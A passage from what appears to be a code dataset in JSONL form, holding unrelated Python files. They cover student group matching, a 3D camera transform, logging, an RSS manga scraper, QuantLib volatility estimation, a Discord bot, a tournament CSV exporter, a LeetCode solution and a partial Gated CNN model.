df[df['phone'].str[-4:] == each[1][-4:]].index\n\n target = name_query.intersection(phone_query)\n\n if len(target) != 1:\n continue\n\n df.at[target[0], 'group'] = -2\n else:\n for each in private_group:\n name_query = df[df['name'] == each[0]].index\n phone_query = df[df['phone'].str[-4:] == each[1][-4:]].index\n\n target = name_query.intersection(phone_query)\n\n if len(target) != 1:\n continue\n\n df.at[target[0], 'group'] = group_num\n # df.loc[df['sid'].isin(student_id_lst), 'group'] = group_num\n group_num += 1\n\n\n # 2. 이외(혼자 신청한) 사람들한테서 신청 강의, 모임 방식 등 조사\n # df_alone = df.loc[df['study_with'].isnull()]\n df_alone = df.loc[df['group'] == 0]\n # df_alone['preference'] = df_alone['preference'].str.replace(\"[ ]\", \"\", regex=True)\n # df_alone['code_1'] = df_alone['code_1'].str.replace(\"[ ]\", \"\", regex=True)\n\n\n # # 3. 1지망 과목만 신청한 학생들 먼저 처리하기(대면/비대면 중 하나만 선택한 학생들 먼저, 그 다음에 상관없는 학생들 순으로)\n\n num_ppl = {'offline' : [], 'online' : [], 'anything' : []}\n grouped = {'offline' : dict(), 'online' : dict(), 'anything' : dict()}\n ungrouped = {'offline' : set(), 'online' : set(), 'anything' : set()}\n preference_type = {1 : 'offline', 2: 'online', 3: 'anything'}\n\n df_targets = {'offline' : [], 'online' : [], 'anything' : []}\n\n for preference in preference_type.keys():\n df_targets[preference_type[preference]] = df_alone.loc[df_alone['preference'] == preference]\n df_targets[preference_type[preference]] = df_targets[preference_type[preference]].sort_values(['study_with','preference', 'code_1', 'prof_1'], ascending=True).reset_index()\n\n num_ppl[preference_type[preference]] = get_num_people(df_targets[preference_type[preference]])\n allocate_groups_dict(df_targets[preference_type[preference]], grouped[preference_type[preference]], ungrouped[preference_type[preference]], num_ppl[preference_type[preference]])\n\n # 4. 남은 나머지 학생들 처리하기(인원이 부족하여 충원이 필요한 그룹부터 (지망 무시하고) 진행, 이후 지망 순 조합이 가능해질 때 까지 진행하고 나머지는 1지망부터 순서로 처리하기\n\n num_ppl.update({'offline_rest' : [], 'online_rest' : []})\n grouped.update({'offline_rest' : dict(), 'online_rest' : dict()})\n ungrouped.update({'offline_rest' : set(), 'online_rest' : set()})\n df_targets.update({'offline_rest' : [], 'online_rest' : []})\n\n for preference in ('offline', 'online'):\n rest = '{}_rest'.format(preference)\n df_targets[rest] = df_alone[df_alone['sid'].isin(ungrouped[preference].union(ungrouped['anything']))]\n df_targets[rest] = df_targets[rest].sort_values(['code_1'], ascending = True).reset_index()\n\n num_ppl[rest] = get_num_people_rest(df_targets[rest])\n allocate_groups_dict(df_targets[rest], grouped[rest], ungrouped[rest], num_ppl[rest])\n\n #remove allocated people\n for d in grouped[rest].keys():\n for j in grouped[rest][d]:\n for e in j :\n if e in ungrouped[preference]:\n ungrouped[preference].discard(e)\n if e in ungrouped['anything']:\n ungrouped['anything'].discard(e)\n \n for lect in grouped[rest].keys():\n if lect not in grouped[preference].keys():\n grouped[preference][lect] = grouped[rest][lect]\n else:\n grouped[preference][lect].update(grouped[rest][lect])\n\n # allocate rest people to other groups whose # of member is < 5\n\n df_targets.update({'rest' : []})\n\n for code in ('code_1', 'code_2', 'code_3'):\n df_targets['rest'] = df_alone[df_alone['sid'].isin(ungrouped['offline'].union(ungrouped['online']).union(ungrouped['anything']))]\n df_targets['rest'] = df_targets['rest'].sort_values([code], ascending = True,).reset_index(drop = True) #reset_index 해야 제대로 작동됨!\n allocate_rest_to_other_groups_code(df_targets['rest'], grouped['offline'], grouped['online'], grouped['anything'], code)\n\n df_targets['rest'] = df_alone[df_alone['sid'].isin(ungrouped['offline'].union(ungrouped['online']).union(ungrouped['anything']))]\n df_targets['rest'] = df_targets['rest'].sort_values(['code_1', 'prof_1'], ascending = True).reset_index(drop = True)\n\n\n\n # print()\n # print(\"------ 최종 ------ \")\n # print(\"offline\")\n # sum = 0\n # for e in grouped['offline'].keys(): # rest 랑 합침\n # sum += len(grouped['offline'][e])\n # print(sum)\n\n # print(\"online\")\n # sum = 0\n # for e in grouped['online']: # rest 랑 합침\n # sum += len(grouped['online'][e])\n # print(sum)\n\n # sum = 0\n # print(\"anything\")\n # for e in grouped['anything']:\n # sum += len(grouped['anything'][e])\n # print(sum)\n\n\n # print(\"——할당 안받은 사람——\")\n # print(ungrouped['offline'])\n # print(ungrouped['online'])\n # print(ungrouped['anything'])\n # print(len(ungrouped['offline'].union(ungrouped['online']).union(ungrouped['anything'])))\n # print()\n\n\n # (option) 5. 3명 그룹 -> 줄이기\n\n # 6. 인원 수에 맞춰서 그룹 번호 매기기\n # group_num = 1\n for preference in preference_type.values():\n for code, student_id_lst in grouped[preference].items():\n\n n = len(student_id_lst)\n\n if n < 11:\n group_numbers = [[3], [4], [5], [3, 3], [4, 3], [4, 4], [5, 4], [5, 5]][n - 3]\n else:\n group_numbers = [[4, 4], [4, 4], [5, 4], [5, 5]][n % 4 - 3] + ([4] * (((n + 1) // 4) - 3)) + ([3] if n % 4 == 3 else [4])\n\n for sid in student_id_lst:\n df.at[df['sid'] == sid, 'group'] = group_num\n\n group_numbers[0] -= 1\n if group_numbers[0] == 0:\n del group_numbers[0]\n group_num += 1\n\n # 7. result.csv 파일로 저장\n df = df.sort_values('group', ascending=True).reset_index(drop=True)\n df.to_csv(\"result.csv\", float_format='%.f', index = False, encoding = 'EUC-KR')","sub_path":"photos/auto_match.py","file_name":"auto_match.py","file_ext":"py","file_size_in_byte":12905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"92159869","text":"from math import cos, sin, asin, sqrt, acos, atan2, pi\n\nclass Camera():\n def __init__(self,translation,starting,camera):\n self.dx,self.dy,self.dz = translation[0],translation[1],translation[2]\n self.sx,self.sy,self.sz = starting[0],starting[1],starting[2]\n self.cx,self.cy,self.cz = camera[0],camera[1],camera[2]\n # normalize\n self.s_mag = sqrt(self.sx**2+self.sy**2+self.sz**2)\n self.c_mag = sqrt(self.cx**2+self.cy**2+self.cz**2)\n # self.sx = self.sx/(self.s_mag)\n # self.sy = self.sy/(self.s_mag)\n # self.sz = self.sz/(self.s_mag)\n # self.cx = self.cx/(self.c_mag)\n # self.cy = self.cy/(self.c_mag)\n # self.cz = self.cz/(self.c_mag)\n # print(self.cx,self.cy,self.cz)\n def global_to_local(self,xg,yg,zg):\n # cross product\n rx = self.sy/self.s_mag*self.cz/self.c_mag - self.sz/self.s_mag*self.cy/self.c_mag\n ry = self.sz/self.s_mag*self.cx/self.c_mag - self.sx/self.s_mag*self.cz/self.c_mag\n rz = self.sx/self.s_mag*self.cy/self.c_mag - self.sy/self.s_mag*self.cx/self.c_mag\n print(rx,ry,rz)\n\n # angle to turn through\n # theta = -asin(sqrt(rx**2 + ry**2 + rz**2))\n # /(self.s_mag*self.c_mag)\n theta = -acos((self.sx*self.cx+self.sy*self.cy+self.sz*self.cz)/(self.s_mag*self.c_mag))\n print(theta*180.0/pi)\n\n # local cartesian coordinates\n xc = (rx*rx*(1-cos(theta))+cos(theta))*xg + (rx*ry*(1-cos(theta))-rz*sin(theta))*yg + (rx*rz*(1-cos(theta))+ry*sin(theta))*zg + self.dx\n yc = (rx*ry*(1-cos(theta))+rz*sin(theta))*xg + (ry*ry*(1-cos(theta))+cos(theta))*yg + (ry*rz*(1-cos(theta))-rx*sin(theta))*zg + self.dy\n zc = (rx*rz*(1-cos(theta))-ry*sin(theta))*xg + (ry*rz*(1-cos(theta))+rx*sin(theta))*yg + (rz*rz*(1-cos(theta))+cos(theta))*zg + self.dz\n\n # convert local cartesian to local spherical polar\n rho = sqrt(xc**2+yc**2+zc**2)\n theta = acos(float(zc)/float(rho))\n phi = atan2(yc,xc)\n\n # report final values\n print(xc,yc,zc)\n # print(rho,theta*180.0/pi,phi*180.0/pi)\n return (rho,theta,phi)\n def local_to_global(self,rho,theta,phi):\n xc = rho*sin(theta)*cos(phi)\n yc = rho*sin(theta)*sin(phi)\n zc = rho*cos(theta)\n print(xc,yc,zc)\n # cross product\n rx = self.cy/self.c_mag*self.sz/self.s_mag - self.cz/self.c_mag*self.sy/self.s_mag\n ry = self.cz/self.c_mag*self.sx/self.s_mag - self.cx/self.c_mag*self.sz/self.s_mag\n rz = self.cx/self.c_mag*self.sy/self.s_mag - self.cy/self.c_mag*self.sx/self.s_mag\n\n # angle to turn through\n theta = -asin(sqrt(rx**2 + ry**2 + rz**2))\n # theta = -acos((self.sx*self.cx+self.sy*self.cy+self.sz*self.cz)/(self.s_mag*self.c_mag))\n print(theta*180.0/pi)\n\n # local cartesian coordinates\n xg = (rx*rx*(1-cos(theta))+cos(theta))*xc + (rx*ry*(1-cos(theta))-rz*sin(theta))*yc + (rx*rz*(1-cos(theta))+ry*sin(theta))*zc - self.dx\n yg = (rx*ry*(1-cos(theta))+rz*sin(theta))*xc + (ry*ry*(1-cos(theta))+cos(theta))*yc + (ry*rz*(1-cos(theta))-rx*sin(theta))*zc - self.dy\n zg = (rx*rz*(1-cos(theta))-ry*sin(theta))*xc + (ry*rz*(1-cos(theta))+rx*sin(theta))*yc + (rz*rz*(1-cos(theta))+cos(theta))*zc - self.dz\n return (xg,yg,zg)\n\ncamera1 = Camera([0,0,0],[1,0,0],[1,1,1])\nrho,theta,phi = camera1.global_to_local(1,1,1)\nprint(rho,theta*180.0/pi,phi*180.0/pi)\nprint(camera1.local_to_global(rho,theta,phi))","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"274694050","text":"import logging\nfrom datetime import datetime\n\nclass logger:\n\n def __init__(self,handler:str):\n \"\"\"Create a logger\n\n Args:\n handler (str): Handler for the logger\n \"\"\"\n now = datetime.now()\n time = now.strftime(\"%Y-%m-%d-%H-%M-%S\")\n \n logs_filename = f\"logs/{handler}/{time}-log.txt\"\n handle=handler\n logging.basicConfig(filename=logs_filename,filemode=\"w\",level=logging.NOTSET)\n self.logger = logging.getLogger(handle)\n\n\n def log_info(self,msg: str):\n \"\"\" Functión to Log an info message in logs file\n Args:\n msg (str): Message to log\n \"\"\"\n if not msg==\"\":\n now = datetime.now()\n logs_hour = now.strftime(\"%H:%M:%S\")\n msg = f\"{logs_hour}-{msg}\"\n self.logger.info(msg)\n else:\n pass\n\n def log_warning(self,msg: str):\n \"\"\" Functión to Log an warning message in logs file\n Args:\n msg (str): Message to log\n \"\"\"\n now = datetime.now()\n logs_hour = now.strftime(\"%H:%M:%S\")\n msg = f\"{logs_hour}-{msg}\"\n self.logger.warning(msg)\n\n def log_error(self,msg: str):\n \"\"\" Functión to Log an error message in logs file\n Args:\n msg (str): Message to log\n \"\"\"\n now = datetime.now()\n logs_hour = now.strftime(\"%H:%M:%S\")\n msg = f\"{logs_hour}-{msg}\"\n self.logger.error(msg)\n\n def log_critical(self,msg: str):\n \"\"\" Functión to Log an critical error message in logs file\n Args:\n msg (str): Message to log\n \"\"\"\n now = datetime.now()\n logs_hour = now.strftime(\"%H:%M:%S\")\n msg = f\"{logs_hour}-{msg}\"\n self.logger.critical(msg)\n\n def log_debug(self,msg: str):\n \"\"\" Functión to Log an debug message in logs file\n Args:\n msg (str): Message to log\n \"\"\"\n now = datetime.now()\n logs_hour = now.strftime(\"%H:%M:%S\")\n msg = f\"{logs_hour}-{msg}\"\n self.logger.debug(msg)","sub_path":"src/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"524908159","text":"import time\nfrom abc import ABC, abstractmethod\nfrom calendar import timegm\nfrom datetime import datetime, timedelta\nimport feedparser\nfrom typing import Optional, List, Iterable, Dict, Pattern, Any, Type, Union\nimport logging\n\nimport psycopg2\n\nfrom src.db.mappers.chapter_mapper import ChapterMapper\nfrom src.errors import FeedHttpError, InvalidFeedError\nfrom src.scrapers.base_scraper import BaseScraper, BaseChapter\nfrom src.utils.utilities import (match_title, is_valid_feed, group_by_manga,\n get_latest_chapters)\n\nlogger = logging.getLogger('debug')\n\n\nclass RSSChapter(BaseChapter):\n \"\"\"\n A sensible default implementation for a chapter in an RSS feed\n \"\"\"\n def __init__(self,\n chapter_title: Optional[str],\n chapter_number: str,\n chapter_identifier: str,\n title_id: str,\n volume: str = None,\n decimal: str = None,\n release_date: Optional[Union[time.struct_time, datetime]] = None,\n manga_title: str = None,\n manga_url: str = None,\n group: str = None\n ):\n self._chapter_title = chapter_title\n self._chapter_number = int(chapter_number)\n self._chapter_identifier = chapter_identifier\n self._title_id = title_id\n self._volume = int(volume) if volume else None\n self._decimal = int(decimal) if decimal else None\n self._manga_title = manga_title\n self._manga_url = manga_url\n self._group = group\n\n if isinstance(release_date, time.struct_time):\n self._release_date = datetime.utcfromtimestamp(timegm(release_date))\n else:\n self._release_date = release_date if release_date else datetime.utcnow()\n\n @property\n def chapter_title(self) -> Optional[str]:\n return self._chapter_title\n\n @property\n def chapter_number(self) -> int:\n return self._chapter_number\n\n @property\n def volume(self) -> Optional[int]:\n return self._volume\n\n @property\n def decimal(self) -> Optional[int]:\n return self._decimal\n\n @property\n def release_date(self) -> datetime:\n return self._release_date\n\n @property\n def chapter_identifier(self) -> str:\n return self._chapter_identifier\n\n @property\n def title_id(self) -> str:\n return self._title_id\n\n @property\n def manga_title(self) -> Optional[str]:\n return self._manga_title\n\n @property\n def manga_url(self) -> Optional[str]:\n return self._manga_url\n\n @property\n def group(self) -> Optional[str]:\n return self._group\n\n @property\n def title(self) -> str:\n return self.chapter_title or f'{\"Volume \" + str(self.volume) + \", \" if self.volume is not None else \"\"}Chapter {self.chapter_number}{\"\" if not self.decimal else \".\" + str(self.decimal)}'\n\n\nclass BaseRSS(BaseScraper, ABC):\n TITLE_REGEX: Pattern = None\n Chapter: Type[RSSChapter] = RSSChapter\n\n def __init_subclass__(cls, **kwargs):\n if cls.TITLE_REGEX is None:\n raise NotImplementedError('Service does not have a title regex to parse entries')\n\n @abstractmethod\n def get_chapter_id(self, entry: Dict) -> str:\n \"\"\"\n A method to get the chapter id for a feed entry\n Args:\n entry: A single entry in the RSS feed\n\n Returns:\n The id of the chapter\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def get_chapter_title(self, entry: Dict) -> Optional[str]:\n \"\"\"\n Return the title of the chapter or None if the chapter name should be automatically generated\n Args:\n entry: A single entry in the RSS feed\n\n Returns:\n Title of the chapter or None\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def get_title_id(self, entry: Dict) -> str:\n \"\"\"\n Get the title id for the manga of an entry\n Args:\n entry: A single entry in the RSS feed\n\n Returns:\n The title id\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def get_group(self, entry: Dict) -> Optional[str]:\n \"\"\"\n Return the group responsible for this chapter\n Args:\n entry: A single entry in the RSS feed\n\n Returns:\n Name of the group\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get_manga_title(self, entry: Dict) -> Optional[str]:\n \"\"\"\n Get the title of the manga\n Args:\n entry: A single entry in the RSS feed\n\n Returns:\n Title of the manga\n \"\"\"\n raise NotImplementedError\n\n def set_checked(self, service_id: int) -> None:\n try:\n super().set_checked(service_id)\n self.dbutil.update_service_whole(service_id, self.min_update_interval())\n except psycopg2.Error:\n logger.exception(f'Failed to update service {service_id}')\n\n def parse_feed(self, entries: Iterable[Dict]) -> List[RSSChapter]:\n titles = []\n for entry in entries:\n title = entry.get('title', '')\n match = self.TITLE_REGEX.match(title)\n kwargs: Dict[str, Any]\n if not match:\n match = match_title(title)\n if not match:\n logger.warning(f'Could not parse title from {title or entry}')\n continue\n\n logger.info(f'Fallback to universal regex successful on {title or entry}')\n\n kwargs = match\n else:\n kwargs = match.groupdict()\n\n kwargs['chapter_identifier'] = self.get_chapter_id(entry)\n kwargs['title_id'] = self.get_title_id(entry)\n kwargs['manga_title'] = self.get_manga_title(entry) or kwargs.get('manga_title')\n\n if not kwargs['title_id'] or not kwargs['chapter_identifier']:\n logger.warning(f'Could not parse ids from {entry}')\n continue\n\n if 'chapter_title' not in kwargs:\n kwargs['chapter_title'] = self.get_chapter_title(entry)\n\n kwargs['manga_url'] = self.MANGA_URL_FORMAT.format(kwargs['title_id'])\n kwargs['release_date'] = entry.get('published_parsed') or entry.get('updated_parsed')\n kwargs['group'] = self.get_group(entry)\n\n try:\n titles.append(self.Chapter(**kwargs))\n except:\n logger.exception(f'Failed to parse chapter {entry}')\n continue\n\n return titles\n\n @staticmethod\n def min_update_interval() -> timedelta:\n return BaseRSS.UPDATE_INTERVAL\n\n def scrape_series(self, title_id: str, service_id: int, manga_id: int,\n feed_url: Optional[str] = None) -> Optional[bool]:\n pass\n\n def scrape_service(self, service_id: int, feed_url: str,\n last_update: Optional[datetime],\n title_id: Optional[str] = None):\n feed = feedparser.parse(feed_url if not title_id else feed_url + f'/manga_id/{title_id}')\n try:\n is_valid_feed(feed)\n except (FeedHttpError, InvalidFeedError):\n logger.exception(f'Failed to fetch feed {feed_url}')\n return\n\n entries: List[RSSChapter] = self.dbutil.get_only_latest_entries(service_id, self.parse_feed(feed.entries))\n\n if not entries:\n logger.info('No new entries found')\n return\n\n logger.info('%s new chapters found. %s', len(entries),\n [e.chapter_identifier for e in entries])\n\n titles = group_by_manga(entries)\n\n chapters = []\n manga_ids = set()\n\n # Find already added titles\n with self.conn:\n with self.conn.cursor() as cur:\n for row in self.dbutil.find_added_titles(cur, tuple(titles.keys())):\n manga_id = row['manga_id']\n manga_ids.add(manga_id)\n for chapter in titles.pop(row['title_id']):\n chapters.append(ChapterMapper.base_chapter_to_db(chapter, manga_id, service_id))\n\n # Add new titles\n if titles:\n with self.conn:\n with self.conn.cursor() as cur:\n for manga_id, inner_chapters in self.dbutil.add_new_series(cur, titles, service_id, True):\n manga_ids.add(manga_id)\n for chapter in inner_chapters:\n chapters.append(ChapterMapper.base_chapter_to_db(chapter, manga_id, service_id))\n\n self.dbutil.add_chapters(chapters, fetch=False)\n\n chapter_rows = [{\n 'chapter_decimal': c.chapter_decimal,\n 'manga_id': c.manga_id,\n 'chapter_number': c.chapter_number,\n 'release_date': c.release_date\n } for c in chapters]\n self.dbutil.update_latest_chapter(tuple(c for c in get_latest_chapters(chapter_rows).values()))\n\n return manga_ids\n\n def add_service(self):\n self.add_service_whole()\n","sub_path":"src/scrapers/base_rss.py","file_name":"base_rss.py","file_ext":"py","file_size_in_byte":9165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"215520878","text":"from Utilities.utilities import *\nfrom bs_model.bs_estimate_vol import estimiate_bs_constant_vol\nimport QuantLib as ql\nimport timeit\nimport os\nimport pickle\n\n\nstart = timeit.default_timer()\n\ncalendar = ql.China()\ndaycounter = ql.ActualActual()\n\n\nbegDate = ql.Date(1, 9, 2015)\n#begDate = ql.Date(18, 7, 2017)\nendDate = ql.Date(20, 7, 2017)\nevalDate = begDate\n\nestimatied_vols = {}\nwhile evalDate < endDate:\n print('Start : ', evalDate)\n\n evalDate = calendar.advance(evalDate, ql.Period(1, ql.Days))\n ql.Settings.instance().evaluationDate = evalDate\n try:\n print(evalDate)\n\n estimate_vol, min_sse = estimiate_bs_constant_vol(evalDate, calendar, daycounter)\n estimatied_vols.update({to_dt_date(evalDate):estimate_vol})\n print(estimate_vol)\n except Exception as e:\n print(e)\n continue\n\nprint('estimatied_vols = ',estimatied_vols)\nstop = timeit.default_timer()\nprint('calibration time : ',stop-start)\n\nwith open(os.getcwd()+'/intermediate_data/total_hedging_bs_estimated_vols.pickle','wb') as f:\n pickle.dump([estimatied_vols],f)\n\n\n","sub_path":"bs_model/bs_estimate_vols_ts.py","file_name":"bs_estimate_vols_ts.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"622189710","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 27 22:26:15 2017\n\n@author: Paulo Batista\nML Classification from Google Developers\n\"\"\"\n\nfrom sklearn import tree\nfeatures = [[140,1], [130,1], [150, 0], [170, 0]]\nlabels = [0, 0, 1, 1]\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(features, labels)\nprint(clf.predict([[120,0]]))\n","sub_path":"google-developers/ml-classification1.py","file_name":"ml-classification1.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"357503769","text":"import discord\nfrom discord.ext import commands\nimport variables\nimport random\nimport os\nimport pymongo\nfrom pymongo import MongoClient\nimport smtplib, ssl\nimport datetime\nfrom datetime import datetime, timedelta\nimport os\n\n\nmongodb_credentials = os.getenv('mongodb')\ncluster = MongoClient(mongodb_credentials)\ndb = cluster[\"Real_Esports_Bot\"]\ncollection = db[\"countr\"]\n\n# Returns a colour with a set chance \ndef randomc():\n chance = random.randint(0, 100) \n if chance <= 10:\n randomcolour = 0x800080 #purple\n return randomcolour\n elif chance <= 20:\n randomcolour = 0xFFFF00 #yellow\n return randomcolour\n elif chance <= 30:\n randomcolour = 0x00FFFF #cyan\n return randomcolour\n elif chance <= 40:\n randomcolour = 0xFF0000 #red\n return randomcolour\n elif chance <= 50:\n randomcolour = 0xFFFFFF # white\n return randomcolour\n else:\n randomcolour = 0x00FF00 #green\n return randomcolour\n\n# send team names with user to the channel\nasync def update_confirm_teams(ctx, user, *arg1):\n query = {\"_id\" : \"teamcounter\"}\n doc = collection.find(query)\n for result in doc:\n score = result[\"counter\"]\n score = score + 1\n collection.update_one({\"_id\": \"teamcounter\"},{\"$set\": {\"counter\": score}},)\n return score\n\n# returns random emote\ndef randomemote():\n opemotes = [\" \",\n \" \",\n \" \",\n \"<:ATD_vortexScam:801698916373495819> \",\n \" \",\n \" \",\n \" \",\n \"\",\n \" \",\n \" \" ]\n random_emote = random.choice(opemotes)\n return random_emote\n\ndef addnewuserinfraction(message):\n# ----------------------------------------\n mongodb_credentials = os.getenv('mongodb')\n cluster = MongoClient(mongodb_credentials)\n db = cluster[\"Real_Esports_Bot\"]\n collection = db[\"watcher_bot_v2\"]\n# ----------------------------------------\n \n \n post = {\n \"_id\": message.author.id,\n \"rajumentions\": 1,\n \"name\": message.author.name,\n \"time\": datetime.now()\n }\n collection.insert_one(post)\n\ndef adduserinfraction(message):\n# ----------------------------------------\n mongodb_credentials = os.getenv('mongodb')\n cluster = MongoClient(mongodb_credentials)\n db = cluster[\"Real_Esports_Bot\"]\n collection = db[\"watcher_bot_v2\"]\n# ----------------------------------------\n\n query = {\"_id\": message.author.id}\n user = collection.find(query)\n for result in user:\n score = result[\"rajumentions\"]\n score = score + 1\n collection.update_one(\n {\"_id\": message.author.id},\n {\"$set\": {\n \"rajumentions\": score\n }},\n )\n collection.update_one(query,\n {\"$set\": {\n \"time\": datetime.now()\n }})\n\n \n\n\n\n\n\n\n ","sub_path":"cmds/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"617800924","text":"import unittest\nfrom fibonacci import fib\nclass FibonacciTestSuite(unittest.TestCase):\n\t\n\tdef test_fibonacci(self):\n\t\tcases=[(0, 0), (1, 1), (2, 1), (3, 2), (4, 3)]\n\t\tfor i in range(0, len(cases)):\n\t\t\tself.assertEqual( cases[i][1], fib(cases[i][0]) )\t\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"fibonacci/testfibonacci.py","file_name":"testfibonacci.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"132477114","text":"import csv\nimport json\nfrom datetime import date\n\n\ndef export_json(input_csv, name):\n \"\"\"\n Creates json that matches ABR format\n \"\"\"\n e_json = {\n \"name\": name,\n \"date\": date.today().strftime(\"%Y-%m-%d\"),\n \"cutToTop\": 0,\n \"preliminaryRounds\": 0,\n \"tournamentOrganiser\": {\"nrdbId\": \"\", \"nrdbUsername\": \"YsengrinSC\"},\n \"players\": [],\n \"eliminationPlayers\": {},\n \"uploadedFrom\": \"SASS\",\n \"links\": {\n 0: {\n \"rel\": \"schemaderivedfrom\",\n \"href\": \"http://steffens.org/nrtm/nrtm-schema.json\",\n },\n 1: {\n \"rel\": \"uploadedfrom\",\n \"href\": \"https://github.com/Chemscribbler/Netrunner/tree/main/SingleSided_App\",\n },\n },\n }\n\n with open(input_csv, \"r\", encoding=\"cp1257\") as csvfile:\n reader = csv.DictReader(csvfile)\n count = 0\n for row in reader:\n e_json[\"players\"].append(\n {\n \"id\": count,\n \"name\": row[\"Player\"],\n \"rank\": row[\"Position\"],\n \"corpIdentity\": row[\"Corp\"],\n \"runnerIdentity\": row[\"Runner\"],\n \"matchPoints\": row[\"Score\"],\n \"strengthOfSchedule\": round(float(row[\"SoS\"]), 4),\n \"extendedStrengthOfSchedule\": round(float(row[\"eSoS\"]), 6),\n \"sideBalance\": row[\"SideBalance\"],\n }\n )\n count += 1\n\n return e_json\n\n\nif __name__ == \"__main__\":\n file_name = input(\"File Name: \")\n t_name = input(\"Tournament Name: \")\n with open(\"results.json\", \"w\") as outfile:\n json.dump(export_json(file_name, t_name), outfile)\n\n","sub_path":"app/util/csv_to_json.py","file_name":"csv_to_json.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"134990228","text":"# -- coding = 'utf-8' -- \n# Author Kylin\n# Python Version 3.7.3\n# OS macOS\n\"\"\"\nNo. 360 有序转化数组\n需求：\n 给你一个已经排好序的整数数组nums和整数a、b、c。\n 对于数组中的每一个元素nums[i] ，计算函数值f(x) = ax^2 + bx + c ，请按升序返回数组。\n\n\"\"\"\n\n\ndef sortTransformedArray_map(nums, a, b, c):\n \"\"\"\n 利用map直接计算相关元素的函数值，然后对结果进行排序\n 时间复杂度：O(nlogn)，用于排序\n 空间复杂度：O(1)\n :type nums: List[int]\n :type a: int\n :type b: int\n :type c: int\n :rtype: List[int]\n \"\"\"\n\n def calculate(x):\n return a * x**2 + b * x + c\n\n res_list = list(map(calculate, nums))\n\n res_list.sort()\n\n return res_list\n\n\ndef sortTransformedArray_math(nums, a, b, c):\n \"\"\"\n 基于一元二次函数的性质\n 不使用排序，使用双指针，优化时间复杂度\n 时间复杂度：O(n)\n 空间复杂度：O(1)\n :param nums:\n :param a:\n :param b:\n :param c:\n :return:\n \"\"\"\n def calculate(x):\n return a * (x**2) + b * x + c\n\n n = len(nums)\n res_list = [0 for _ in range(n)]\n\n # 如果a == 0，函数f(x)退化为线性函数bx+c\n if a == 0:\n res_index = 0\n if b >= 0:\n for i in range(n):\n res_list[res_index] = calculate(nums[i])\n res_index += 1\n\n else:\n for i in range(n-1, -1, -1):\n res_list[res_index] = calculate(nums[i])\n res_index += 1\n else:\n # 否则，f(x)是二次函数，在在x=-b/2a取得极值\n diad = - (b / (2.0 * a))\n left, right = 0, n - 1\n if a > 0:\n # 如果 a > 0, f(x)是一个凹函数，在x=-b/2a取得最小值\n res_index = n - 1\n while left < right:\n if abs(nums[left] - diad) > abs(nums[right] - diad):\n res_list[res_index] = calculate(nums[left])\n left += 1\n\n else:\n res_list[res_index] = calculate(nums[right])\n right -= 1\n res_index -= 1\n # 记得加上最后一个元素，也就是left == right时\n res_list[res_index] = calculate(nums[left])\n else:\n # 如果 a < 0, f(x)是一个凹函数，在x=-b/2a取得最大值\n res_index = 0\n while left < right:\n if abs(nums[left] - diad) >= abs(nums[right] - diad):\n res_list[res_index] = calculate(nums[left])\n left += 1\n else:\n res_list[res_index] = calculate(nums[right])\n right -= 1\n res_index += 1\n # 记得加上最后一个元素，也就是left == right时\n res_list[res_index] = calculate(nums[left])\n\n return res_list\n\n\nif __name__ == \"__main__\":\n nums = [-4, -2, 2, 4]\n a, b, c = -1, 3, 5\n sort_res = sortTransformedArray_math(nums, a, b, c)\n print(sort_res)\n","sub_path":"LeetCode/src/calculate08/sort_transformed_array.py","file_name":"sort_transformed_array.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"553322793","text":"import tensorflow as tf\nimport numpy as np\n\n\nclass GatedCNN_nopadding(object):\n \"\"\"\n Uses an embedding layer, followed by a convolutional,gated, and softmax layer.\n \"\"\"\n def __init__(\n self, sequence_length, num_classes, vocab_size,\n embedding_size, filter_sizes, num_filters, l2_reg_lambda,learning_rate):\n\n # Placeholders for input, output and dropout\n self.input_x = tf.placeholder(tf.int32, [None, sequence_length], name=\"input_x\")\n self.input_y = tf.placeholder(tf.float32, [None, num_classes], name=\"input_y\")\n self.dropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")\n\n # Keeping track of l2 regularization loss (optional)\n l2_loss = tf.constant(0.0)\n\n\n\n # Embedding layer\n with tf.device('/cpu:0'), tf.name_scope(\"embedding\"):\n self.W = tf.Variable(\n tf.random_uniform([vocab_size, embedding_size], -0.25, 0.25),trainable=True,\n name=\"W\")\n self.embedded_chars = tf.nn.embedding_lookup(self.W, self.input_x)\n\n\n self.embedded_chars_expanded = tf.expand_dims(self.embedded_chars, -1)\n\n # Create a convolution + maxpool layer for each filter size\n\n filter_size = filter_sizes[0]\n with tf.name_scope(\"conv-maxpool-%s\" % filter_size):\n # Convolution Layer\n filter_shape = [filter_size, embedding_size, 1, num_filters]\n W1 = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name=\"W1\")\n b1 = tf.Variable(tf.constant(0.1, shape=[num_filters]), 